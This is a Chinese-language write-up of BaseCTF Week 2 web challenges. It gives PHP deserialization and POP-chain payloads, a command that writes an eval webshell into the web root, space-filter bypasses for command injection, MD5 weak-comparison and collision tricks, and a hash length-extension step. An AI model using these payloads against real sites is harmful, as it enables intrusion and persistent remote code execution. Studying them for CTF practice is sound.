[Week2] ez_ser
这是一道反序列化的入门题目 只要自己了解一下序列化即可做出来
payload:O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}
[Week2] 一起吃豆豆
这道题是一道js题目
通过查看源代码找到js文件 并对相关js文件审计即可拿到flag
flag在index.js下 进行了base64编码,自行解码一下即可
[Week2] 你听不到我的声音
这道题没什么难度
shell_exec($_POST['cmd']);
执行post请求传的shell命令 既然没有回显 直接写马上线就好了
payload:cmd=echo "<?php @eval(\$_POST[1]);?>" > /var/www/html/123.php
[Week2] Really EZ POP
这道题是反序列化的POP链考点
直接构造一个shell上去,并读取flag(这里用burp而不是用hackbar的原因是 hackbar发送数据包后 无法写入shell 所以干脆直接burp发包)
payload:nature=O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A144%3A%22eval%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsICc8P3BocApoaWdobGlnaHRfZmlsZShfX0ZJTEVfXyk7CmV2YWwoJF9HRVRbXCdjbWRcJ10pOycpOw%3D%3D%27%29%29%3B%22%3B%7D%7D%7D%7D
[Week2] RCEisamazingwithspace
这道题是一个命令执行很基础的题 过滤了空格
但是linux操作系统有很多绕过过滤空格的姿势这里介绍如下几种
空格绕过
${IFS}
${IFS}$1
$IFS$1
<和<>
{cat,flag}
%20替换
[Week2] 所以你说你懂 MD5?
week2难度最高的题目
我们先分析第一个if 这里要求apple和banana的内容不相同但是md5值相同,这里可以使用数组绕过,因为数组为空时 都为null 所以第一个if
payload:apple[]=1&banana[]=2
第二个if判断必须为字符型而且是弱类型比较,PHP在处理哈希字符串的时候,它把每一个以0e开头的哈希值都解析为0。,那么就可以参数为字符串 计算出来的md5为0e且全是数字 即可实现,这里给大家提供两个
appple=240610708&bananana=QNKCDZO
第三个if要求内容可以不相同 但是md5值必须完全相同,用了强比较,所以这里给大家提供两个字符串
apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
random_bytes(16)
生成一个16字节的随机字节序列,然后通过 bin2hex()
转换为32字符的十六进制字符串。
这个过程重复三次,因此最终生成了一个长度为96个字符的随机十六进制字符串。
并且判断了name是否等于admin
这里name直接补位即可
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
最后一个if则需要扩展长度攻击,有需要学习的小伙伴可以自行了解
这里需要使用HashPump,给大家提供一个大佬的优化版
https://www.hujiayucc.cn/post-26.html
输入你获得的md5 运行工具获取攻击后的md5(结果取32位即可,去掉后面8个0)
ps:CTF历史上考这个还是比较少的 但是也要了解
最终完整payload:
apple%5B%5D=1&banana%5B%5D=2&appple=240610708&bananana=QNKCDZO&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=不通用
[Week2] 数学大师
每一道题目需要在 5 秒内解出, 传入到 $_POST['answer']
中, 解出 50 道即可, 除法取整
这道题直接使用python 快速批量计算 即可拿到flag
import requests
import re
# 自行修改URL和cookie即可
url = "http://challenge.basectf.fun:2237/"
pattern = r'd(.*?)\?'
payload = "answer=0"
headers = {
'Content-Type': "application/x-www-form-urlencoded",
'Cookie': "PHPSESSID=u0rn4f0t2g03o48jjcubnfhdf1"
}
def calculate(matches):
for match in matches:
expression = match.replace('×', '*').replace('÷', '/')
try:
result = int(eval(expression))
print(f"{match} = {result}")
return result
except ZeroDivisionError:
print(f"Error: Division by zero in expression {match.replace(' ', '')}")
except Exception as e:
print(f"Error calculating {match.replace(' ', '')}: {e}")
response = requests.post(url, data=payload, headers=headers)
for i in range(52):
payload = "answer=" + str(calculate(re.findall(pattern, response.text)))
response = requests.post(url, data=payload, headers=headers)
print(response.text)
本人是菜鸡,请各位多多指教
本周题目相对难度有所提高,也更加锻炼技术,祝各位技术精进